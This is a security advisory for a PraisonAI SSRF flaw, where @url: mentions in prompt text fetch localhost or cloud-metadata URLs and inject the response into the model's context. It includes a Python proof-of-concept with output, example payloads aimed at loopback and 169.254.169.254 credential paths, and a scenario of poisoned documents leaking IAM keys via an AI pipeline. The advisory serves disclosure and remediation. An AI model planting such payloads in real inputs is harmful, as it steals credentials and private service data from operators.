CVE-2026-47395: PraisonAI: SSRF via @url mention exposes localhost services

GHSA-5cxw-77wg-jrf3 MEDIUM
Published May 29, 2026
CISO Take

PraisonAI's direct-prompt CLI blindly fetches any URL embedded in @url: mentions — including loopback addresses like localhost and 127.0.0.1 — and injects the HTTP response body directly into the model's prompt context before the LLM runs. Any workflow that accepts externally-controlled input (shared scripts, document pipelines, user-submitted prompts) becomes an SSRF vector: an attacker who can inject @url:http://localhost:8080/ into a prompt will silently harvest local admin panels, development servers, Jupyter instances, or cloud metadata endpoints, with the data surfacing in model output, logs, or traces. The CVSS vector (AV:L/AC:L/PR:N/UI:R/C:H) reflects low attack complexity and high confidentiality impact with no privileges required — though the local attack vector bounds the blast radius to the operator's machine. Upgrade to praisonai 4.6.40 and praisonaiagents 1.6.40 immediately; teams unable to patch should sanitize all prompt inputs to strip @url: directives targeting RFC1918 and loopback ranges.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Medium severity SSRF bounded by the local attack vector — the attacker must influence prompt text reaching the CLI on the operator's machine. Exploitability is trivial once that precondition is met: no special knowledge, no elevated privileges, and a working proof-of-concept is published in the advisory. Confidentiality impact is HIGH because local services commonly run unauthenticated on loopback — Jupyter, MLflow, Grafana, Ollama, and cloud metadata endpoints (AWS IMDSv1, GCP metadata) are all in scope and frequently expose API keys, OAuth tokens, or internal configuration. Risk escalates significantly in multi-user or pipeline contexts where external documents or user-submitted text flows unfiltered into the CLI. No EPSS data, no active exploitation, and no KEV listing keep overall risk at medium for isolated deployments.

Attack Kill Chain

Prompt Injection
Attacker embeds @url:http://localhost:PORT/ into prompt text that reaches the PraisonAI direct-prompt CLI, either directly or via a document or template processed by the pipeline.
AML.T0051.000
SSRF Execution
MentionsParser.process() parses the @url: directive and calls urllib.request.urlopen() against the loopback address with no private-range or metadata-service restriction, completing the HTTP request.
AML.T0053
Context Poisoning
The HTTP response body from the local service is prepended to the model's prompt context, injecting attacker-chosen local data before the LLM receives the legitimate task.
AML.T0080
Data Exfiltration
Injected content — IAM credentials, API keys, internal configs, or service data — surfaces in model output, logs, traces, or shared knowledge bases where it becomes accessible to the attacker.
AML.T0037

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip <= 4.6.39 4.6.40
1 dependents 86% patched ~0d to patch Full package profile →
praisonaiagents pip <= 1.6.39 1.6.40
11 dependents 82% patched ~0d to patch Full package profile →

Severity & Risk

CVSS 3.1
5.5 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Local
AC Low
PR None
UI Required
S Unchanged
C High
I None
A None

What should I do?

5 steps
  1. Patch immediately: upgrade praisonai to >=4.6.40 and praisonaiagents to >=1.6.40, which introduce URL restrictions.

  2. If patching is not immediately possible, add input sanitization to strip or reject @url: directives — especially those matching loopback (127.0.0.1, localhost, localhost.), link-local (169.254.x.x), and RFC1918 ranges (10.x, 172.16-31.x, 192.168.x) — before passing prompt text to the CLI.

  3. Audit all prompt sources feeding the PraisonAI direct-prompt CLI and identify any code paths where externally-controlled text can reach it unfiltered.

  4. Review process logs for unexpected outbound HTTP connections from PraisonAI processes to loopback or private addresses.

  5. Where feasible, run AI agent processes with network namespace restrictions or egress filtering that prevents loopback HTTP fetches from agent processes.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.3 - AI system design and development
NIST AI RMF
GOVERN 6.1 - AI risk policies and procedures
OWASP LLM Top 10
LLM01:2025 - Prompt Injection LLM02:2025 - Sensitive Information Disclosure LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-47395?

PraisonAI's direct-prompt CLI blindly fetches any URL embedded in @url: mentions — including loopback addresses like localhost and 127.0.0.1 — and injects the HTTP response body directly into the model's prompt context before the LLM runs. Any workflow that accepts externally-controlled input (shared scripts, document pipelines, user-submitted prompts) becomes an SSRF vector: an attacker who can inject @url:http://localhost:8080/ into a prompt will silently harvest local admin panels, development servers, Jupyter instances, or cloud metadata endpoints, with the data surfacing in model output, logs, or traces. The CVSS vector (AV:L/AC:L/PR:N/UI:R/C:H) reflects low attack complexity and high confidentiality impact with no privileges required — though the local attack vector bounds the blast radius to the operator's machine. Upgrade to praisonai 4.6.40 and praisonaiagents 1.6.40 immediately; teams unable to patch should sanitize all prompt inputs to strip @url: directives targeting RFC1918 and loopback ranges.

Is CVE-2026-47395 actively exploited?

No confirmed active exploitation of CVE-2026-47395 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-47395?

1. Patch immediately: upgrade praisonai to >=4.6.40 and praisonaiagents to >=1.6.40, which introduce URL restrictions. 2. If patching is not immediately possible, add input sanitization to strip or reject @url: directives — especially those matching loopback (127.0.0.1, localhost, localhost.), link-local (169.254.x.x), and RFC1918 ranges (10.x, 172.16-31.x, 192.168.x) — before passing prompt text to the CLI. 3. Audit all prompt sources feeding the PraisonAI direct-prompt CLI and identify any code paths where externally-controlled text can reach it unfiltered. 4. Review process logs for unexpected outbound HTTP connections from PraisonAI processes to loopback or private addresses. 5. Where feasible, run AI agent processes with network namespace restrictions or egress filtering that prevents loopback HTTP fetches from agent processes.

What systems are affected by CVE-2026-47395?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI CLI tooling, document processing pipelines, model orchestration workflows, local AI development environments.

What is the CVSS score for CVE-2026-47395?

CVE-2026-47395 has a CVSS v3.1 base score of 5.5 (MEDIUM).

AI Security Impact

Affected AI Architectures

agent frameworksAI CLI toolingdocument processing pipelinesmodel orchestration workflowslocal AI development environments

MITRE ATLAS Techniques

AML.T0037 Data from Local System
AML.T0051.000 Direct
AML.T0051.001 Indirect
AML.T0053 AI Agent Tool Invocation
AML.T0080 AI Agent Context Poisoning

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.3
NIST AI RMF: GOVERN 6.1
OWASP LLM Top 10: LLM01:2025, LLM02:2025, LLM06:2025

Technical Details

Original Advisory

### Summary PraisonAI's direct-prompt CLI automatically expands `@url:` mentions in raw prompt text before agent execution begins. If a prompt contains `@url:<http-or-https-url>`, the CLI calls `MentionsParser.process(...)`. The `@url:` handler then performs a direct `urllib.request.urlopen()` request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context. There is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch. As a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context. Example: ```text @url:http://localhost.:8766/ summarize this ```` This causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives. This is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover. ### Details The affected direct-prompt CLI path is in: ```text src/praisonai/praisonai/cli/main.py ``` The CLI imports and instantiates `MentionsParser` on the direct prompt path: ```python from praisonaiagents.tools.mentions import MentionsParser parser = MentionsParser(workspace_path=os.getcwd()) if parser.has_mentions(prompt): mention_context, prompt = parser.process(prompt) if mention_context: prompt = f"{mention_context}# Task:\n{prompt}" ``` This means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation. The affected mention implementation is in: ```text src/praisonai-agents/praisonaiagents/tools/mentions.py ``` `@url:` is a first-class mention type: ```python PATTERNS = { "file": re.compile(r'@file:([^\s]+)'), "web": re.compile(r'@web:([^\s]+(?:\s+[^\s@]+)*)'), "doc": re.compile(r'@doc:([^\s]+)'), "rule": re.compile(r'@rule:([^\s]+)'), "url": re.compile(r'@url:(https?://[^\s]+)'), } ``` The URL mention handler performs an unrestricted HTTP request: ```python req = urllib.request.Request( url, headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'} ) with urllib.request.urlopen(req, timeout=10) as response: content = response.read().decode('utf-8', errors='ignore') ``` There is no validation rejecting: ```text 127.0.0.1 localhost localhost. private RFC1918 addresses link-local addresses cloud metadata endpoints other local-only HTTP services ``` The returned body is added to the generated mention context and then prepended to the prompt. The resulting chain is: ```text attacker-influenced prompt text -> @url:http://localhost.:8766/ -> direct-prompt CLI calls MentionsParser.process(...) -> _process_url_mention(...) -> urllib.request.urlopen(attacker URL) -> loopback HTTP response body is read -> response body is injected into model prompt context ``` ### PoC The following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8766`, passes a prompt containing `@url:http://localhost.:8766/` through the real `MentionsParser.process(...)` implementation, and confirms that the local response body is injected into the generated prompt context. #### Full PoC ```python #!/usr/bin/env python3 """Self-contained local replay for PraisonAI CLI @url mention loopback fetch.""" from __future__ import annotations import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" PRAISON_ROOT = REPO_ROOT / "src" / "praisonai" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" CLI_MAIN = PRAISON_ROOT / "praisonai/cli/main.py" MENTIONS = AGENTS_ROOT / "praisonaiagents/tools/mentions.py" def verify_source() -> None: expected = { CLI_MAIN: [ "from praisonaiagents.tools.mentions import MentionsParser", "if parser.has_mentions(prompt):", "mention_context, prompt = parser.process(prompt)", 'prompt = f"{mention_context}# Task:\\n{prompt}"', ], MENTIONS: [ '"url": re.compile(r\'@url:(https?://[^\\s]+)\')', "def _process_url_mention(self, url: str) -> Optional[str]:", "with urllib.request.urlopen(req, timeout=10) as response:", ], } for path, needles in expected.items(): text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}") class _Handler(BaseHTTPRequestHandler): hits: list[tuple[str, str | None]] = [] body = b"<html><body>secret-local-page</body></html>" def do_GET(self) -> None: # noqa: N802 self.__class__.hits.append((self.path, self.headers.get("Host"))) self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body) def log_message(self, format: str, *args) -> None: # noqa: A003 return def main() -> int: if not CLI_MAIN.exists() or not MENTIONS.exists(): raise SystemExit("missing local PraisonAI source tree") verify_source() sys.path.insert(0, str(AGENTS_ROOT)) from praisonaiagents.tools.mentions import MentionsParser _Handler.hits.clear() server = HTTPServer(("127.0.0.1", 8766), _Handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() try: parser = MentionsParser(workspace_path="/tmp") context, cleaned = parser.process("@url:http://localhost.:8766/ summarize this") finally: server.shutdown() server.server_close() thread.join(timeout=1) print("[poc] cli_path_verified=yes") print("[poc] mention_impl_verified=yes") print(f"[poc] cleaned_prompt={cleaned}") print(f"[poc] loopback_hit_count={len(_Handler.hits)}") if _Handler.hits: print(f"[poc] loopback_host={_Handler.hits[0][1]}") print(f"[poc] context_contains_secret={'secret-local-page' in context}") if cleaned != "summarize this": raise SystemExit(f"[poc] MISS: unexpected cleaned prompt {cleaned!r}") if not _Handler.hits: raise SystemExit("[poc] MISS: no loopback HTTP request observed") if "secret-local-page" not in context: raise SystemExit("[poc] MISS: local response body was not injected into prompt context") print("[poc] HIT: @url mention fetched loopback content and injected it into prompt context") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` #### Observed output ```text [poc] cli_path_verified=yes [poc] mention_impl_verified=yes [poc] cleaned_prompt=summarize this [poc] loopback_hit_count=1 [poc] loopback_host=localhost.:8766 [poc] context_contains_secret=True [poc] HIT: @url mention fetched loopback content and injected it into prompt context ``` #### Expected secure behavior A prompt-borne `@url:` mention should not be able to read loopback or private-network resources by default. At minimum, the following should be rejected before any HTTP request is made: ```text http://127.0.0.1/ http://localhost/ http://localhost./ http://169.254.169.254/ private RFC1918 addresses link-local addresses ``` #### Actual vulnerable behavior The loopback request succeeds, and the returned local content is inserted into the generated prompt context. ### Impact An attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context. Potential impact includes: * reading localhost-only HTTP resources; * reading local dashboards, admin panels, development servers, or internal web services bound to loopback; * exposing fetched local content to the model prompt; * exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow. This report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.

Exploitation Scenario

An attacker targeting a threat analysis pipeline where analysts pipe external intelligence reports into PraisonAI for summarization embeds @url:http://169.254.169.254/latest/meta-data/iam/security-credentials/analyst-role into a crafted document. When an analyst running on AWS EC2 processes the document, PraisonAI fetches the cloud metadata endpoint and prepends the IAM credential response — including AccessKeyId, SecretAccessKey, and Token — to the model's prompt context. The LLM processes this injected content alongside the legitimate task and may reproduce it verbatim in its summary, which is then logged, posted to a Slack channel, or stored in a shared knowledge base. Alternatively, an attacker embeds @url:http://localhost:11434/api/tags (Ollama) or @url:http://localhost:5000 (MLflow) into a shared analysis template used across a security team, harvesting internal model inventories or experiment metadata from every analyst machine that runs the template.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Timeline

Published
May 29, 2026
Last Modified
May 29, 2026
First Seen
May 30, 2026

Related Vulnerabilities